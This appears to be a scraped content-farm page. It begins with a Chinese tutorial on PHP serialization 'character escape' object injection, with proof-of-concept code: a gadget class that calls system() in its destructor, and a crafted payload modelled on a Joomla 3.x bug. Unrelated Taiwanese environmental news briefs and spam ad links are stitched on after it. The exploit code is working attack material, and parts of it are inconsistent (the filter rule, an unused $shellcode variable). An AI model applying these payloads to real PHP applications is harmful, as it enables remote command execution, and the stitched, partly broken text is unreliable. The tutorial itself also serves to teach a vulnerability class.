PHP字符逃逸導致的對象注入

1.漏洞產生原因:

序列化的字符串在經過過濾函數不正確的處理而導致對象注入,目前看到都是因為過濾函數放在了serialize函數之後,要是放在序列化之前應該就不會產生這個問題

?php
function filter($string){
  $a = str_replace('x','zz',$string);
   return $a;
}

$username = "tr1ple";
$password = "aaaaax";
$user = array($username, $password);

echo(serialize($user));
echo "\n";

$r = filter(serialize($user));

echo($r);
echo "\n";

var_dump(unserialize($r));
$a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';
var_dump(unserialize($a));

php特性:

1.PHP 在反序列化時,底層代碼是以 ; 作為字段的分隔,以 } 作為結尾(字符串除外),並且是根據長度判斷內容的
2.對類中不存在的屬性也會進行反序列化

以上代碼就明顯存在一個問題,即從序列化后的字符串中明顯可以看到經過filter函數以後s:6對應的字符串明顯變長了

並且如果對於a:2:{i:0;s:6:”tr1ple”;i:1;s:5:”aaaaa”;}i:1;s:5:”aaaaa”; 這種字符串而言,也能夠正常反序列化,說明php在反序列化的時候只要求一個反序列化字符串塊合法即可,當然得是第一個字符串塊

以以上代碼為例,如果能夠利用filter函數這種由一個字符變為兩個字符的特性來注入想要反序列化后得到的屬性,使其可以逃逸出更多可用的字符串,那麼我們就能反序列化得到我們想要的屬性

比如此時我們想要讓反序列化后第二個字符串為123456,此時我們的payload如果和之前的username長度為a,則filter處理以後可能username就會變成a,此時我們的payload變成了新的注入的屬性,此時反序列化后就會得到我們想要的結果,比如a:2:{i:0;s:6:”tr1ple”;i:1;s:6:”123456″;}是我們想要達到的效果,此時我們想要注入的payload明顯為:

";i:1;s:6:"123456";}

 

可以得到其長度為20

此時我們已經知道過濾的規則為x->yy,即注入一個x可以逃逸出一個字符的空位,那麼我們只需要注入20個x即可變成40個y,即可逃逸出20個空位,從而將我們的payload變為反序列化后得到的屬性值

$username = 'tr1plexxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}'; //其中紅色就是我們想要注入的屬性值 
$password="aaaaa";
$user = array($username, $password);
echo(serialize($user));
echo "\n";

$r = filter(serialize($user));

echo($r);
echo "\n";
var_dump(unserialize($r));

 可以看到此時注入屬性成功,反序列化后得到的屬性即為123456

2.實例分析

joomla3.0.0-3.4.6 對象注入導致的反序列化,以下為參考別人的簡易化核心漏洞代碼

<?php
class evil{
    public $cmd;

    public function __construct($cmd){
        $this->cmd = $cmd;
    }

    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}

function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}

$username = "tr1ple";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

在這裏如果想要通過注入對象來實現反序列化則必須在外部對象內進行注入存在的屬性,不能在其外部,否則php將不會進行我們注入惡意對象的反序列化

例如此時因為反序列化讀取的時候將會將六位字符\0\0\0替換成三位字符chr(0)*chr(0),因此字符串前面的s肯定是固定的,那麼s對應的字符串變少以後將會吞掉其他屬性的字符,那麼如果我們精心算好吞掉的字符長度,並且能夠控制被吞掉屬性的內容,那麼就能夠注入對象,從而反序列化其他類

比如如上所示,此時我們要注入的對象為evil,此時username和password的值我們可控,那麼我們可以在username中注入\0,來吞掉password的值,比如

<?php
$a='\0\0\0';
echo strlen($a);
$b=str_replace('\0\0\0', chr(0).'*'.chr(0), $a);
echo strlen($b);

 所以此時首先確定我們要吞掉的字符的長度

O:4:”User”:2:{s:8:”username”;s:6:”tr1ple”;s:8:”password”;s:4:”1234″;}

正常情況下我們要吞掉 “;s:8:”password”;s:4:” 為22位

但是因為注入的對象payload也在password字段,並且長度肯定是>=10的,因此s肯定是兩位數,因此這裏為22+1=23位字符

因為是6->3,因此每次添加一組\0\0\0能多吞掉3個字符,因此需要肯定都是3的倍數

因此我們假如這裏構造username為\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 

 

 則經過read函數處理后長度將變為24

 即此時能夠多吞掉24個字符,為了不讓其吞掉payload,我們可以填充1位字符A,即令password的值為A+payload即可

<?php
class evil{
    public $cmd;

    public function __construct($cmd){
        $this->cmd = $cmd;
    }

    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}

function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}

$username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; $shellcode=$password.$payload; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

 執行結果如上圖所示,將成功反序列化password屬性所對應的值,其值即為我們注入的對象,整個過程也容易理解,就是吞掉後面的屬性來注入屬性,那麼達到攻擊有以下要求:

1.相鄰兩個屬性的值是我們可以控制的

2.前一個屬性的s長度可以發生變化,變長變短都可以,變短的話可以吞掉後面相鄰屬性的值,然後在相鄰屬性中注入新的對象,如果邊長則可以直接在該屬性中注入對象來達到反序列化

 比如XNUCA2018 hardphp就考察了一個這個相關的trick

 

 這裏就出現了用前面的data在反序列化時向後吞一位字符,從而可以導致吞掉後面的普通用戶的username字段,而在username字段可以放上我們想要偽造的username,從而達到偽造session的目的

 參考:

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

※網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

長沙動物園大象踩死馴養員 專家疑因發情失控

摘錄自2019年12月31日聯合新聞網報導

根據《新京報》報導,中國湖南長沙市生態動物園日前發生一件大象踩死訓養員的悲劇。

一頭56歲的大象「艾A」,由蔔姓訓養員引領進入馴養場中時,突然失控抓狂。先是用象腳攻擊訓養員,再將他推倒、不斷踩踏在訓養員身上。雖然一旁有5名其他訓養員試圖用推車趕跑大象,該頭大象卻不為所動,仍使勁攻擊訓養員,造成他不幸身亡。

慘不忍睹的情景,被柵欄外圍觀的遊客記錄下來。園方表示,該頭失控的大象約2噸重,平常表現溫馴,來到長沙已逾10年。

動物專家初步認為,這樁慘事應是大象發情所致,目前該頭大象已由園方隔離安撫,而當地警方也已著手展開調查。希望此生態動物園能積極善後、並防止有類似的情況再度發生。

本站聲明:網站內容來源於https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※示波器探測執行效能最佳化的8大秘訣

※專業客製化禮物、贈品設計,辦公用品常見【L夾】搖身一變大受好評!!

※冷熱飲水機、桌上型飲水機、辦公室飲水機、直立式飲水機,選購技巧大公開!!

※哪一些是橡膠加工製品?又區分什麼用途

※如何知道自已的電腦cpu支不支持AVX指令集?

※票選推薦煮婦最愛手壓封口機,省荷包不犧牲品質

塑膠垃圾干擾 「海中清道夫」變少

摘錄自2020年1月2日聯合報屏東報導

墾管處元旦發表由螺貝學者邱郁文研究團隊編撰的軟體動物首部曲《有殼海生腹足類圖鑑》,分類系統資訊完整,也傳達生態的美麗與哀愁。研究發現,有「海中清道夫」之稱的織紋螺變少,一大原因是塑膠垃圾干擾織紋螺的嗅覺,讓找食物的定位方向出錯,不僅導致族群減少,也傷害潮間帶生態。

邱郁文說,螺類是餐桌上常見佳餚,食用螺類中毒事偶有所聞,包括笠螺、蠑螺、海蜷(俗稱的燒酒螺)等,其實,牠們並非天生就有毒,最有名的是織紋螺,以動物屍體為食物,是食物鏈中層層蓄積的毒,無法從種類或外觀判定。另一類自毒腺生產毒素,芋螺是代表物種,不同種或同種的毒性成分不盡相同。

讓研究團隊感到憂心的是,調查織紋螺數量時,發現塑膠垃圾多的沙灘地,族群數量明顯較乾淨沙灘少,探究原因,是塑膠垃圾的化學氣味,讓織紋螺接受外部環境訊息的嗅覺器官失靈。在千萬年演化過程中,定位找食物的方向也常出錯,成為生態隱憂。

本站聲明:網站內容來源於https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※示波器探測執行效能最佳化的8大秘訣

※專業客製化禮物、贈品設計,辦公用品常見【L夾】搖身一變大受好評!!

※冷熱飲水機、桌上型飲水機、辦公室飲水機、直立式飲水機,選購技巧大公開!!

※哪一些是橡膠加工製品?又區分什麼用途

※如何知道自已的電腦cpu支不支持AVX指令集?

※票選推薦煮婦最愛手壓封口機,省荷包不犧牲品質

利稻小熊逃出籠舍 照養團隊監控搜尋中

摘錄自2020年1月3日公視報導

台東林管處照養的兩隻台灣黑熊,廣原小熊跟利稻小熊,目前在南投特有生物研究保育中心低海拔試驗站,2號中午卻傳出其中一隻利稻小熊意外逃出籠舍,照養團隊目前已全數動員進行監控搜尋,希望盡快找回小熊。

照片提供:台東林管處

畫面上可見,在特生中心的兩隻小熊平時玩在一起,互動熱絡,感情相當好。但昨天中午發生逃出籠舍的意外,照養團隊表示,當時要為廣原小熊進行健檢及安排進入野訓場,利稻小熊卻趁機破壞圍網,鑽出縫隙脫逃出籠舍,林管處除了立即啟動誘捕機制,以及全天監控搜尋,還在周圍設置小熊最愛的蜂蜜、特調小熊粥等吸引小熊回籠之外,也特別呼籲利稻小熊無攻擊性,民眾發現可以立即通報。

本站聲明:網站內容來源於https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※示波器探測執行效能最佳化的8大秘訣

※專業客製化禮物、贈品設計,辦公用品常見【L夾】搖身一變大受好評!!

※冷熱飲水機、桌上型飲水機、辦公室飲水機、直立式飲水機,選購技巧大公開!!

※哪一些是橡膠加工製品?又區分什麼用途

※如何知道自已的電腦cpu支不支持AVX指令集?

※票選推薦煮婦最愛手壓封口機,省荷包不犧牲品質

蘇花改全線通 蘇揆:持續推動蘇花安/歷經3228天施工 用路人鳴喇叭向交管人員致敬

摘錄自2020年1月7日自由時報報導

台九線蘇花公路山區路段改善計畫(蘇花改),歷時3228天施工,順利完成最後一哩路。南澳到和平、和中到大清水段下午4點開放通行,宣告全線通車。宜蘭端有民眾提早三小時等著搶頭香;自花蓮端北上的首批用路人,則在駛入隧道前紛紛長鳴喇叭向淋雨的施工交管人員致敬。

照片提供:蘇花改工程處

蘇花改2011年3月動工,蘇澳到東澳段2018年2月5日通車,南澳到和平、和中到大清水段則在昨天啟用,蘇澳到花蓮崇德行車時間,從2.5小時縮短為1.5小時。

行政院長蘇貞昌昨天到宜、花縣界附近的谷風隧道南口主持通車典禮,將通車歸功於辛苦的工程人員與開路英雄。他說已核定蘇花公路安全提升計畫(蘇花安)可行性研究,持續推動東澳到南澳等尚未完成的路段。

蘇花改全線最高速限60公里。蘇澳到東澳段可行駛小型車、大客車、大貨車。南澳到和平、和中到大清水段通車初期,限定3.5噸以下小型車、大客車行駛。

照片提供:蘇花改工程處

本站聲明:網站內容來源於https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※示波器探測執行效能最佳化的8大秘訣

※專業客製化禮物、贈品設計,辦公用品常見【L夾】搖身一變大受好評!!

※冷熱飲水機、桌上型飲水機、辦公室飲水機、直立式飲水機,選購技巧大公開!!

※哪一些是橡膠加工製品?又區分什麼用途

※如何知道自已的電腦cpu支不支持AVX指令集?

※票選推薦煮婦最愛手壓封口機,省荷包不犧牲品質

鼓勵汰換老舊機車 台南加碼補助

摘錄自2020年1月6日中央社報導

台南市政府今(6日)宣布今年汰換老舊機車補助方案,加上中央補助,一般民眾汰舊換購電動機車最高補助新台幣2萬1000元。市府並針對中低收入戶及四個較偏遠的行政區居民加碼補助。

台南市政府環保局今天舉辦汰換老舊機車補助方案啟動記者會,由台南市長黃偉哲宣布補助方案;包括汰舊換購七期燃油機車或電動機車、新購電動機車等補助項目,盼提供多元換購選擇,進一步改善空污。

他說,新補助方案分為換購電動機車及換購七期燃油機車兩部分,一般民眾汰舊換購電動機車最高可補助2萬1000元、換購七期燃油機車可補助8000元;新購電動機車最高可補助1萬3000元。中低收入戶汰舊換購電動機車最高可補助2萬7000元、換購七期燃油機車可補助1萬3000元、新購電動機車補助1萬7000元。

黃偉哲指出,此次針對南化、龍崎、左鎮、楠西四個較偏遠的行政區居民加碼,汰舊換購電動機車最高可補助2萬4000元、新購電動機車補助1萬5000元。

本站聲明:網站內容來源於https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※示波器探測執行效能最佳化的8大秘訣

※專業客製化禮物、贈品設計,辦公用品常見【L夾】搖身一變大受好評!!

※冷熱飲水機、桌上型飲水機、辦公室飲水機、直立式飲水機,選購技巧大公開!!

※哪一些是橡膠加工製品?又區分什麼用途

※如何知道自已的電腦cpu支不支持AVX指令集?

※票選推薦煮婦最愛手壓封口機,省荷包不犧牲品質

闖民居尋水源造成危險 澳洲擬射殺1萬駱駝

摘錄自2020年1月7日星島日報報導

澳洲山火持續多個月,令當地持續乾旱。由於有駱駝闖入居民的家園以尋找水源,南澳州原住民地區決定,明日起射殺1萬隻野生駱駝,並已獲當局批准。

根據外國媒體報道,環境部門會派出數架直升機射殺西北部約1萬隻野生駱駝,估計射殺行動維持五天,以控制其數量。報道又指,野生駱駝近期大量繁殖,數量難以控制,加上天氣乾旱,駱駝為了尋找水源,近年逐漸散布到近岸區域,亦不時闖入居民的家園,並破壞當地基建,威脅民眾安全。

澳洲現時約有120萬隻野生駱駝,每年排放相當於1噸溫室氣體,若不加以管制,駱駝數量將每九年翻一倍。

本站聲明:網站內容來源於https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※示波器探測執行效能最佳化的8大秘訣

※專業客製化禮物、贈品設計,辦公用品常見【L夾】搖身一變大受好評!!

※冷熱飲水機、桌上型飲水機、辦公室飲水機、直立式飲水機,選購技巧大公開!!

※哪一些是橡膠加工製品?又區分什麼用途

※如何知道自已的電腦cpu支不支持AVX指令集?

※票選推薦煮婦最愛手壓封口機,省荷包不犧牲品質

沖繩時隔33年再現豬瘟 撲殺包括阿古豬1746隻

摘錄自2020年1月8日中央社報導

繼日本本土2018年發生豬瘟疫情以來,疫情陸續蔓延,今(8日)傳出與本島無陸地相連的沖繩縣,也在時隔33年後再度確認豬瘟疫情,至少將撲殺1746隻豬,包括當地特有種「阿古豬」。

日本放送協會(NHK)報導,熟悉豬瘟(Classical Swine Fever,又稱典型豬瘟,不是非洲豬瘟)的北海道大學教授迫田義博說,是境外還是境內傳染,在與日本本土沒有陸地連接的沖繩都確認疫情,事態嚴重。

日本沖繩時報報導,沖繩縣政府8日表示,沖繩宇流麻市一處農場飼養的豬確定被驗出豬瘟病毒,這是繼1986年10月以來,沖繩時隔33年再度發生豬瘟疫情。

沖繩縣政府農林水產部在記者會上表示,目前已知將撲殺1746隻豬,包括沖繩在地特有種「阿古豬」。宇流麻市農家6日時通報縣府,表示有豬隻出現下痢等症狀死亡,縣府立即將檢體送往中央的農林水產省檢查機關,透過基因檢查確定相關病症。

本站聲明:網站內容來源於https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※示波器探測執行效能最佳化的8大秘訣

※專業客製化禮物、贈品設計,辦公用品常見【L夾】搖身一變大受好評!!

※冷熱飲水機、桌上型飲水機、辦公室飲水機、直立式飲水機,選購技巧大公開!!

※哪一些是橡膠加工製品?又區分什麼用途

※如何知道自已的電腦cpu支不支持AVX指令集?

※票選推薦煮婦最愛手壓封口機,省荷包不犧牲品質

劉櫂豪順利連任:配合縣府爭取打通26線

摘錄自2020年01月12日聯合新聞網報導

昨天(11日)成功連任的民進黨籍台東區域立委劉櫂豪表示,他會配合台東縣政府、台東縣長饒慶鈴針對中斷的台26線工程,持續與屏東縣、公路總局協調溝通,爭取打通台26線,並與屏東分享阿塱壹古道的自然資源保育、觀光產值。

2011年2月1日,因屏東縣政依文化資產保護法劃設旭海觀音鼻自然保留區,導致台26線興建只剩最後7公里(台東端道路)因部分位於保留區內,整個台26線建設工程停擺中斷。

劉櫂豪說,畫設旭海觀音鼻自然保留區,是屏東縣政府基於地方制度法賦予的權利,所做的一個宣布,會持續的跟台東縣政府,協助饒縣長來跟屏東協商,也要求公路總局看看有沒有其他替代路線,另外阿塱壹古道現狀已製造出一些觀光產值,希望就現狀的情況下,讓台東縣政與屏東縣一起分享觀光產值。

劉櫂豪說,長期目標他希望台26線能打斷,但目前阿塱壹古道已有一些觀光產值出來,台東縣政府也不要放棄這些產值,他認為應該來跟屏東縣政府合作,一起分享。

本站聲明:網站內容來源於https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※示波器探測執行效能最佳化的8大秘訣

※專業客製化禮物、贈品設計,辦公用品常見【L夾】搖身一變大受好評!!

※冷熱飲水機、桌上型飲水機、辦公室飲水機、直立式飲水機,選購技巧大公開!!

※哪一些是橡膠加工製品?又區分什麼用途

※如何知道自已的電腦cpu支不支持AVX指令集?

※票選推薦煮婦最愛手壓封口機,省荷包不犧牲品質

台北市都發局表示,水利署希望「行水區」名稱統一為「河川區」

台北市都發局表示,水利署希望「行水區」名稱統一為「河川區」,所以這次辦理變更,且現況位於「行水區」的多數私地主表達不希望被收購,而是要納入區段徵收。

不過,台北市都發局坦言,水利署讓「河川區」容移,讓北市府也感到疑慮,曾多次表達暫緩實施,但全國已有開放容移的案例;至於社子島「河川區」若納入區段徵收,是否符合容積移轉的資格,法規適用仍需要跟相關單位釐清。

本站聲明:網站內容來源於https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※示波器探測執行效能最佳化的8大秘訣

※專業客製化禮物、贈品設計,辦公用品常見【L夾】搖身一變大受好評!!

※冷熱飲水機、桌上型飲水機、辦公室飲水機、直立式飲水機,選購技巧大公開!!

※哪一些是橡膠加工製品?又區分什麼用途

※如何知道自已的電腦cpu支不支持AVX指令集?

※票選推薦煮婦最愛手壓封口機,省荷包不犧牲品質